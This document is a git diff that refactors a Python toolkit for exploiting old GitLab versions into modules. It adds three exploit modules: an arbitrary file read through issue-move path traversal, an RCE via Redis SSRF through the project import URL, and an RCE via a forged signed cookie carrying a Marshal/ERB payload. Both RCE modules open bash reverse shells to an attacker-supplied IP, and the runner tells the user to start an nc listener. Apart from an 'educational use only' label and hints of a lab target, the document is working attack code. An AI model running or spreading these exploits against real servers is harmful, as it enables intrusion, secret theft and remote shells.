[200, 302]: - raise Exception("Host {} seems down".format(self.url)) - except Exception as e: - print(e) - self.abort() - - def get_version(self): - result = self.session.get(self.url + "/help", verify=False) - print("Getting version of {} - {}".format(self.url, result.status_code)) - parse = VersionParse() - version = parse.feed(result.text) - return version - - def main(self): - self.test() - self.register_user() - version = self.get_version() - print("The Version seems to be {}! Choose wisely".format(version)) - self.delete_user() - if not version: - print("Could not get version!") - self.abort() - - -class GitlabParse(HTMLParser): - def __init__(self): - super(GitlabParse, self).__init__() - self.tokens = [] - self.current_name = "" - - def handle_starttag(self, tag, attrs): - if tag == "input": - for name, value in attrs: - if self.current_name == "authenticity_token" and name == "value": - self.tokens.append(value) - self.current_name = value - elif tag == "meta": - for name, value in attrs: - if self.current_name == "csrf-token": - self.tokens.append(value) - self.current_name = value - - def feed(self, data, i): - super(GitlabParse, self).feed(data) - try: - return self.tokens[i] - except IndexError: - return None - - -class ProjectIDParse(HTMLParser): - def __init__(self): - super(ProjectIDParse, self).__init__() - self.project_found = False - self.project_id = None - - def feed(self, data): - super(ProjectIDParse, self).feed(data) - return self.project_id - - def handle_starttag(self, tag, attrs): - for name, value in attrs: - if self.project_found and name == "value": - self.project_id = int(value) - return - self.project_found = name == "id" and value == "project_id" - - -class VersionParse(HTMLParser): - def __init__(self): - super(VersionParse, self).__init__() - self.found_version = False - self.version = None - - def handle_starttag(self, tag, attrs): - if tag == "a": - for name, value in attrs: - self.found_version = name == "href" and "/tags/v" in value - - def handle_data(self, data): - if self.found_version and not self.version: - self.version = data - - def feed(self, data): - super(VersionParse, self).feed(data) - return self.version - - -class Runner: - def __init__(self): - self.available_classes = [GitlabRCE1147, GitlabRCE1281LFIUser, GitlabRCE1281RCE] - self.local_ip = None - self.gitlab_url = None - self.run() - - def banner(self): - print("Gitlab Exploit by dotPY [insert fancy ascii art]") - - def get_version(self): - class_ = GitlabVersion(self.gitlab_url, self.local_ip) - class_.main() - - def list_options_and_choose(self): - number = None - for i, class_ in enumerate(self.available_classes): - print("[{}] - {} - {}".format(i, class_.__name__, class_.description)) - while number not in range(len(self.available_classes)): - try: - number = int(input("type a number and hit enter to choose exploit: ")) - except ValueError: - pass - - return self.available_classes[number] - - def run_chosen_exploit(self, chosen_exploit): - class_ = chosen_exploit(self.gitlab_url, self.local_ip) - input("Start a listener on port {port} and hit enter (nc -vlnp {port})".format(port=class_.port)) - class_.main() - - def run(self): - args = sys.argv - if len(args) != 3: - print("usage: {} ".format(args[0])) - return - else: - self.gitlab_url = args[1] - self.local_ip = args[2] - self.start() - - def start(self): - self.banner() - self.get_version() - class_ = self.list_options_and_choose() - self.run_chosen_exploit(class_) - - -r = Runner() diff --git a/main.py b/main.py new file mode 100755 index 0000000..6b29539 --- /dev/null +++ b/main.py @@ -0,0 +1,23 @@ +#!/usr/bin/env python3 +""" +GitLab RCE+LFI toolkit — version <= 11.4.7, 12.4.0-12.8.1 +CVEs: CVE-2018-19571, CVE-2018-19585, CVE-2020-10977, CVE-2020-8163 +EDUCATIONAL USE ONLY +""" + +import sys + +from src.client import GitlabClient +from src.runner import Runner + + +def main() -> None: + if len(sys.argv) != 3: + print(f"usage: {sys.argv[0]} ") + sys.exit(2) + client = GitlabClient(url=sys.argv[1], local_ip=sys.argv[2]) + Runner(client).run() + + +if __name__ == "__main__": + main() diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..804abb1 --- /dev/null +++ b/requirements.txt @@ -0,0 +1,2 @@ +requests +urllib3 diff --git a/src/__init__.py b/src/__init__.py new file mode 100644 index 0000000..859e18f --- /dev/null +++ b/src/__init__.py @@ -0,0 +1,5 @@ +"""GitLab exploit toolkit — see main.py for usage.""" + +__version__ = "1.0.0" +__author__ = "dotPY-hax" +# Codebase refactor by LinuxUser255 diff --git a/src/client.py b/src/client.py new file mode 100644 index 0000000..9d4858f --- /dev/null +++ b/src/client.py @@ -0,0 +1,146 @@ +"""Shared HTTP session and GitLab API helpers used by every exploit.""" + +from __future__ import annotations + +import random +import string +import sys + +import requests +import urllib3 + +from .parsers import GitlabParse + +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + + +class GitlabClient: + """HTTP session and shared helpers for interacting with a GitLab instance. + + All exploit modules receive an instance of this class rather than + inheriting from a common base, keeping composition over inheritance. + """ + + DEFAULT_PORT: int = 42069 + DEFAULT_EMAIL_DOMAIN: str = "laboratory.htb" + + def __init__(self, url: str, local_ip: str) -> None: + self.url = url + self.local_ip = local_ip + self.port = self.DEFAULT_PORT + # Override if the target restricts registration to a specific domain. + self.email_domain = self.DEFAULT_EMAIL_DOMAIN + self.session = requests.Session() + self.username: str = "" + self.password: str = "" + # Informational — exploits should prefer the return value of + # create_empty_project() over indexing into this list. + self.projects: list[str] = [] + self.issues: list[str] = [] + + # ------------------------------------------------------------------ # + # Utilities # + # ------------------------------------------------------------------ # + + def randomize(self) -> str: + """Return a random 10-character alphanumeric string.""" + return "".join(random.choices(string.ascii_letters + string.digits, k=10)) + + def abort(self) -> None: + print("Something went wrong! ABORT MISSION!") + sys.exit(1) + + # ------------------------------------------------------------------ # + # CSRF token # + # ------------------------------------------------------------------ # + + def get_authenticity_token(self, url: str, i: int = -1) -> str: + result = self.session.get(url, verify=False) + token = GitlabParse().feed(result.text, i) + if not token: + print("could not get token!") + self.abort() + return token # type: ignore[return-value] # abort() exits on None + + # ------------------------------------------------------------------ # + # User lifecycle # + # ------------------------------------------------------------------ # + + def register_user(self) -> None: + token = self.get_authenticity_token(self.url + "/users/sign_in") + self.username = self.randomize() + self.password = self.randomize() + data = { + "new_user[email]": f"{self.username}@{self.email_domain}", + "new_user[email_confirmation]": f"{self.username}@{self.email_domain}", + "new_user[username]": self.username, + "new_user[name]": self.username, + "new_user[password]": self.password, + "authenticity_token": token, + } + result = self.session.post(self.url + "/users", data=data, verify=False) + print( + f"registering {self.username}:{self.password}" + f" - {result.status_code}" + ) + + def login_user(self) -> None: + token = self.get_authenticity_token(self.url + "/users/sign_in", 0) + data = { + "authenticity_token": token, + "user[login]": self.username, + "user[password]": self.password, + } + result = self.session.post( + self.url + "/users/sign_in", data=data, verify=False + ) + print(result.status_code) + + def delete_user(self) -> None: + token = self.get_authenticity_token(self.url + "/profile/account") + data = { + "authenticity_token": token, + "_method": "delete", + "password": self.password, + } + result = self.session.post(self.url + "/users", data=data, verify=False) + print(f"delete user {self.username} - {result.status_code}") + + # ------------------------------------------------------------------ # + # Project / issue management # + # ------------------------------------------------------------------ # + + def create_empty_project(self) -> str: + """Create a new private project and return its name.""" + token = self.get_authenticity_token(self.url + "/projects/new") + project = self.randomize() + self.projects.append(project) + data = { + "authenticity_token": token, + "project[ci_cd_only]": "false", + "project[name]": project, + "project[path]": project, + "project[visibility_level]": "0", + "project[description]": "all your base are belong to us", + } + result = self.session.post( + self.url + "/projects", data=data, verify=False + ) + print(f"creating project {project} - {result.status_code}") + return project + + def create_issue(self, project_id: str, text: str) -> None: + issue_link = f"{self.url}/{self.username}/{project_id}/issues" + token = self.get_authenticity_token(issue_link + "/new") + issue_title = self.randomize() + self.issues.append(issue_title) + data = { + "authenticity_token": token, + "issue[title]": issue_title, + "issue[description]": text, + } + result = self.session.post(issue_link, data=data, verify=False) + print( + f"creating issue {issue_title} for project {project_id}" + f" - {result.status_code}" + ) diff --git a/src/exploits/__init__.py b/src/exploits/__init__.py new file mode 100644 index 0000000..a1b5137 --- /dev/null +++ b/src/exploits/__init__.py @@ -0,0 +1 @@ +"""Exploit modules for specific GitLab CVEs.""" diff --git a/src/exploits/lfi_1281.py b/src/exploits/lfi_1281.py new file mode 100644 index 0000000..3ad8414 --- /dev/null +++ b/src/exploits/lfi_1281.py @@ -0,0 +1,98 @@ +"""LFI exploit for GitLab 10.4 - 12.8.1 (CVE-2020-10977). + +Reads arbitrary files by embedding a path-traversal string in an issue +description, then moving the issue to a second project to trigger an +upload that resolves the traversal and serves the target file. +""" + +from __future__ import annotations + +from ..client import GitlabClient +from ..parsers import ProjectIDParse + +# Path to the Rails secrets file used by the RCE exploit. +SECRETS_PATH = ( + "/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml" +) + + +class LFI1281: + """File read via the GitLab issue-move path-traversal bug.""" + + description = "LFI for version 10.4-12.8.1 and maybe more" + + def __init__( + self, client: GitlabClient, file_path: str = "/etc/passwd" + ) -> None: + self.client = client + self.file_path = file_path + + # ------------------------------------------------------------------ # + # Internal helpers # + # ------------------------------------------------------------------ # + + def _lfi_markdown(self) -> str: + """Return the Markdown image tag that embeds the path traversal.""" + ones = "1" * 32 + traversal = "/../../../../../../../../../../../../../.." + return f"![a](/uploads/{ones}{traversal}{self.file_path})" + + def _get_project_id(self, project_name: str) -> int: + url = f"{self.client.url}/{self.client.username}/{project_name}" + result = self.client.session.get(url, verify=False) + return ProjectIDParse().feed(result.text) + + def _extract_upload_link( + self, issue_json: dict, project_name: str + ) -> tuple[str, str]: + field = issue_json["description"] + file_name = field[field.find("[") + 1 : field.find("]")] + file_path = field[field.find("(") + 1 : field.find(")")] + url = ( + f"{self.client.url}/{self.client.username}" + f"/{project_name}{file_path}" + ) + return url, file_name + + def _fetch(self, url: str, filename: str) -> str: + print(f"Grabbing file {filename}") + return self.client.session.get(url, verify=False).text + + def _move_issue_and_retrieve(self, src: str, dst: str) -> str: + """Move the issue from src to dst and return the served file content.""" + issue_url = ( + f"{self.client.url}/{self.client.username}/{src}/issues/1" + ) + dst_id = self._get_project_id(dst) + token = self.client.get_authenticity_token(issue_url) + self.client.session.headers["X-CSRF-Token"] = token + self.client.session.headers["Referer"] = issue_url + result = self.client.session.post( + issue_url + "/move", + json={"move_to_project_id": dst_id}, + verify=False, + ) + print(f"moving issue from {src} to {dst} - {result.status_code}") + url, filename = self._extract_upload_link(result.json(), dst) + return self._fetch(url, filename) + + # ------------------------------------------------------------------ # + # Public API # + # ------------------------------------------------------------------ # + + def read_file(self) -> str: + """Run the two-project LFI chain and return the file contents. + + The caller must have already registered a user on the client + before calling this method. + """ + src = self.client.create_empty_project() + dst = self.client.create_empty_project() + self.client.create_issue(src, self._lfi_markdown()) + return self._move_issue_and_retrieve(src, dst) + + def run(self) -> None: + """Full standalone run: register user, read file, print, delete user.""" + self.client.register_user() + print(self.read_file()) + self.client.delete_user() diff --git a/src/exploits/rce_1147.py b/src/exploits/rce_1147.py new file mode 100644 index 0000000..7c15e20 --- /dev/null +++ b/src/exploits/rce_1147.py @@ -0,0 +1,83 @@ +"""RCE exploit for GitLab <= 11.4.7 (CVE-2018-19571 + CVE-2018-19585). + +Injects a Gopher/Redis payload via the project import URL field to enqueue +a GitlabShellWorker job that executes an arbitrary shell command. +""" + +from __future__ import annotations + +import base64 +import time + +from ..client import GitlabClient + +# Redis command sequence injected via the Gopher SSRF. +# {payload} is replaced with the base64-wrapped shell command. +# str.replace() is used intentionally — the template contains literal +# braces that would conflict with str.format(). +_REDIS_TEMPLATE = """git://[0:0:0:0:0:ffff:127.0.0.1]:6379/ + multi + sadd resque:gitlab:queues system_hook_push + lpush resque:gitlab:queue:system_hook_push "{\\\"class\\\":\\\"GitlabShellWorker\\\",\\\"args\\\":[\\\"class_eval\\\",\\\"open(\\\\'|{payload} \\\\').read\\\"],\\\"retry\\\":3,\\\"queue\\\":\\\"system_hook_push\\\",\\\"jid\\\":\\\"ad52abc5641173e217eb2e52\\\",\\\"created_at\\\":1513714403.8122594,\\\"enqueued_at\\\":1513714403.8129568}\" + exec + exec + exec""" + + +class RCE1147: + """Redis SSRF/RCE via the GitLab project import URL field.""" + + description = "RCE for Version <=11.4.7" + + def __init__(self, client: GitlabClient) -> None: + self.client = client + + # ------------------------------------------------------------------ # + # Payload construction # + # ------------------------------------------------------------------ # + + def _shell_command(self) -> str: + """Return a base64-wrapped bash reverse shell one-liner.""" + raw = ( + f"bash -i >& /dev/tcp/{self.client.local_ip}" + f"/{self.client.port} 0>&1" + ) + b64 = base64.b64encode(raw.encode()).decode("utf-8") + return f"echo {b64} | base64 -d | /bin/bash" + + def _redis_payload(self, command: str) -> str: + return _REDIS_TEMPLATE.replace("{payload}", command) + + # ------------------------------------------------------------------ # + # Injection # + # ------------------------------------------------------------------ # + + def _inject(self, redis_payload: str) -> None: + token = self.client.get_authenticity_token( + self.client.url + "/projects/new" + ) + project = self.client.randomize() + self.client.projects.append(project) + data = { + "authenticity_token": token, + "project[import_url]": redis_payload, + "project[ci_cd_only]": "false", + "project[name]": project, + "project[path]": project, + "project[visibility_level]": "0", + "project[description]": "all your base are belong to us", + } + result = self.client.session.post( + self.client.url + "/projects", data=data, verify=False + ) + print(f"hacking in progress - {result.status_code}") + + # ------------------------------------------------------------------ # + # Public API # + # ------------------------------------------------------------------ # + + def run(self) -> None: + self.client.register_user() + self._inject(self._redis_payload(self._shell_command())) + time.sleep(10) + self.client.delete_user() diff --git a/src/exploits/rce_1281.py b/src/exploits/rce_1281.py new file mode 100644 index 0000000..2461dcd --- /dev/null +++ b/src/exploits/rce_1281.py @@ -0,0 +1,143 @@ +"""RCE exploit for GitLab 12.4.0 - 12.8.1 (CVE-2020-10977 + CVE-2020-8163). + +file: src/exploits/rce_1281.py + +Reads secret_key_base from secrets.yml via LFI1281 (composition, not +inheritance), then crafts a signed Rails cookie containing a Marshal +payload that executes a bash reverse shell via ERB + system(). + +Attack chain: + 1. LFI reads /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml + 2. secret_key_base is extracted from secrets.yml + 3. A Ruby Marshal blob is constructed containing an ERB object + whose @src holds the reverse shell command + 4. The blob is signed with secret_key_base using PBKDF2-SHA1 + 5. The signed cookie is sent to /users/sign_in + 6. GitLab deserializes the cookie, ERB evaluates @src, shell fires +""" + +from __future__ import annotations + +import base64 +import hashlib +import hmac +import time + +from ..client import GitlabClient +from .lfi_1281 import LFI1281, SECRETS_PATH + + +class RCE1281: + """Cookie-deserialization RCE using the `secret_key_base` obtained via LFI.""" + + description = "RCE for version 12.4.0-12.8.1" + + MAX_ATTEMPTS: int = 10 # retry delivery this many times + ATTEMPT_DELAY: int = 2 # seconds between attempts + + def __init__(self, client: GitlabClient) -> None: + self.client = client + # LFI1281 handles the file read — used via composition, not inheritance + self._lfi = LFI1281(client, SECRETS_PATH) + + # ------------------------------------------------------------------ # + # Payload helpers # + # ------------------------------------------------------------------ # + + def _parse_secret_key(self, secrets_yml: str) -> str: + """Extract secret_key_base value from secrets.yml content. + + secrets.yml structure (relevant section): + production: + secret_key_base: + otp_key_base: ... + + We slice between the known markers to get the raw hex value. + """ + start = secrets_yml.find("secret_key_base: ") + 17 + end = secrets_yml.find("otp_key_base") - 3 + return secrets_yml[start:end] + + # This function was created using the exploit dev scripts + # Located in the `gitlab_RCE/exploit-dev` directory of this project. + def _build_cookie(self, secret: str) -> str: + ip = self.client.local_ip + port = str(self.client.port) + + # Compiled ERB bytecode — output of ERB.new("<%= `bash -c 'cmd'` %>") + # Must use bash -c to ensure fd redirection is handled by bash not sh + erb_src = f"#coding:UTF-8\n_erbout = +''; _erbout.<<(( `bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'` ).to_s); _erbout" + erb_bytes = erb_src.encode("utf-8") + src_len = len(erb_bytes) + + # Marshal string length encoding: actual_length + 5 + len_byte = bytes([src_len + 5]) + + # see `gitlab_RCE/exploit-dev` for how this payload was constructed + payload: bytes = ( + b"\x04\x08o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy" + b"\t:\x0e@instanceo:\x08ERB\x0b:\x10@safe_level0:\t@srcI\"" + + len_byte + + erb_bytes + + b"\x06:\x06EF:\x0e@encodingIu:\rEncoding\nUTF-8\x06;\nF" + b":\x13@frozen_string0:\x0e@filename0:\x0c@linenoi\x00" + b":\x0c@method:\x0bresult:\t@varI\"\x0c@result\x06;\nT" + b":\x10@deprecatorIu:\x1fActiveSupport::Deprecation\x00\x06;\nT" + ) + + key = hashlib.pbkdf2_hmac( + "sha1", + password=secret.encode(), + salt=b"signed cookie", + iterations=1000, + dklen=64, + ) + b64 = base64.b64encode(payload) + digest = hmac.new(key, b64, digestmod=hashlib.sha1).hexdigest() + return b64.decode() + "--" + digest + + # ------------------------------------------------------------------ # + # Delivery # + # ------------------------------------------------------------------ # + + def _deliver(self, cookie_value: str) -> None: + """Send the forged cookie to the GitLab sign-in endpoint. + + GitLab deserializes experimentation_subject_id on every request + to /users/sign_in. A 200 response means the cookie was processed + — it does not confirm shell execution (Ruby reverse shells are + async and may fire on a subsequent request or with a delay). + """ + result = self.client.session.get( + self.client.url + "/users/sign_in", + cookies={"experimentation_subject_id": cookie_value}, + verify=False, + ) + print(f"deploying payload - {result.status_code}") + + # ------------------------------------------------------------------ # + # Public API # + # ------------------------------------------------------------------ # + + def run(self) -> None: + """Execute the full RCE chain. + + Steps: + 1. Register a temporary GitLab user (needed to trigger LFI) + 2. Read secrets.yml via LFI to extract secret_key_base + 3. Build the signed Marshal cookie + 4. Deliver it MAX_ATTEMPTS times (shell is unreliable) + 5. Clean up by deleting the temporary user + """ + self.client.register_user() + secrets_yml = self._lfi.read_file() + secret = self._parse_secret_key(secrets_yml) + cookie = self._build_cookie(secret) + + for i in range(self.MAX_ATTEMPTS): + print(f"[*] Attempt {i + 1}/{self.MAX_ATTEMPTS}") + self._deliver(cookie) + time.sleep(self.ATTEMPT_DELAY) + + self.client.delete_user() + diff --git a/src/parsers.py b/src/parsers.py new file mode 100644 index 0000000..f577232 --- /dev/null +++ b/src/parsers.py @@ -0,0 +1,78 @@ +"""HTML parsers for scraping GitLab response pages.""" + +from __future__ import annotations + +from html.parser import HTMLParser + + +class GitlabParse(HTMLParser): + """Parse CSRF/authenticity tokens from GitLab forms and meta tags.""" + + def __init__(self) -> None: + super().__init__() + self.tokens: list[str] = [] + self.current_name: str = "" + + def handle_starttag(self, tag: str, attrs: list) -> None: + if tag == "input": + for name, value in attrs: + if ( + self.current_name == "authenticity_token" + and name == "value" + ): + self.tokens.append(value) + self.current_name = value + elif tag == "meta": + for name, value in attrs: + if self.current_name == "csrf-token": + self.tokens.append(value) + self.current_name = value + + def feed(self, data: str, i: int = -1) -> str | None: # type: ignore[override] + super().feed(data) + try: + return self.tokens[i] + except IndexError: + return None + + +class ProjectIDParse(HTMLParser): + """Parse the hidden project_id input from a GitLab project page.""" + + def __init__(self) -> None: + super().__init__() + self.project_found: bool = False + self.project_id: int | None = None + + def feed(self, data: str) -> int | None: # type: ignore[override] + super().feed(data) + return self.project_id + + def handle_starttag(self, tag: str, attrs: list) -> None: + for name, value in attrs: + if self.project_found and name == "value": + self.project_id = int(value) + return + self.project_found = name == "id" and value == "project_id" + + +class VersionParse(HTMLParser): + """Parse the GitLab version string from the /help page.""" + + def __init__(self) -> None: + super().__init__() + self.found_version: bool = False + self.version: str | None = None + + def handle_starttag(self, tag: str, attrs: list) -> None: + if tag == "a": + for name, value in attrs: + self.found_version = name == "href" and "/tags/v" in value + + def handle_data(self, data: str) -> None: + if self.found_version and not self.version: + self.version = data + + def feed(self, data: str) -> str | None: # type: ignore[override] + super().feed(data) + return self.version diff --git a/src/runner.py b/src/runner.py new file mode 100644 index 0000000..249bf86 --- /dev/null +++ b/src/runner.py @@ -0,0 +1,87 @@ +"""CLI orchestration: version detection, exploit menu, and dispatch.""" + +from __future__ import annotations + +from .client import GitlabClient +from .version import detect_version +from .exploits.lfi_1281 import LFI1281 +from .exploits.rce_1147 import RCE1147 +from .exploits.rce_1281 import RCE1281 + + +class Runner: + """Presents the exploit menu and dispatches to the selected module.""" + + def __init__(self, client: GitlabClient) -> None: + self.client = client + + # ------------------------------------------------------------------ # + # Version detection # + # ------------------------------------------------------------------ # + + def _print_version(self) -> None: + self.client.register_user() + version = detect_version(self.client) + if version: + print(f"The Version seems to be {version}! Choose wisely") + else: + print("Could not get version!") + self.client.abort() + self.client.delete_user() + + # ------------------------------------------------------------------ # + # Exploit dispatch # + # ------------------------------------------------------------------ # + + def _run_rce_1147(self) -> None: + RCE1147(self.client).run() + + def _run_lfi_1281(self) -> None: + """Prompt for a target file path, then run the LFI exploit.""" + default = "/etc/passwd" + raw = input( + "please type in the fully qualified path of the file" + f" you want to LFI. Uses {default} when left empty: " + ).strip() + LFI1281(self.client, raw if raw else default).run() + + def _run_rce_1281(self) -> None: + RCE1281(self.client).run() + + # ------------------------------------------------------------------ # + # Menu # + # ------------------------------------------------------------------ # + + def _choose(self) -> int: + options = [ + (RCE1147.description, self._run_rce_1147), + (LFI1281.description, self._run_lfi_1281), + (RCE1281.description, self._run_rce_1281), + ] + for i, (desc, _) in enumerate(options): + print(f"[{i}] - {desc}") + + choice = None + while choice not in range(len(options)): + try: + choice = int( + input("type a number and hit enter to choose exploit: ") + ) + except ValueError: + pass + + desc, exploit_fn = options[choice] + input( + f"Start a listener on port {self.client.port} and hit enter" + f" (nc -vlnp {self.client.port})" + ) + exploit_fn() + + # ------------------------------------------------------------------ # + # Entry point # + # ------------------------------------------------------------------ # + + def run(self) -> None: + print("Gitlab Exploit by dotPY [insert fancy ascii art]") + self._print_version() + self._choose() diff --git a/src/version.py b/src/version.py new file mode 100644 index 0000000..922d23a --- /dev/null +++ b/src/version.py @@ -0,0 +1,26 @@ +"""Version detection for a GitLab instance.""" + +from __future__ import annotations + +from .client import GitlabClient +from .parsers import VersionParse + + +def detect_version(client: GitlabClient) -> str | None: + """Return the GitLab version string, or None if it cannot be parsed. + + Checks reachability first, then scrapes the /help page. + The caller is responsible for the user lifecycle (register/delete) + if authentication is needed to view /help. + """ + try: + result = client.session.get(client.url, verify=False) + if result.status_code not in [200, 302]: + raise RuntimeError(f"Host {client.url} seems down") + except Exception as exc: + print(exc) + client.abort() + + result = client.session.get(client.url + "/help", verify=False) + print(f"Getting version of {client.url} - {result.status_code}") + return VersionParse().feed(result.text)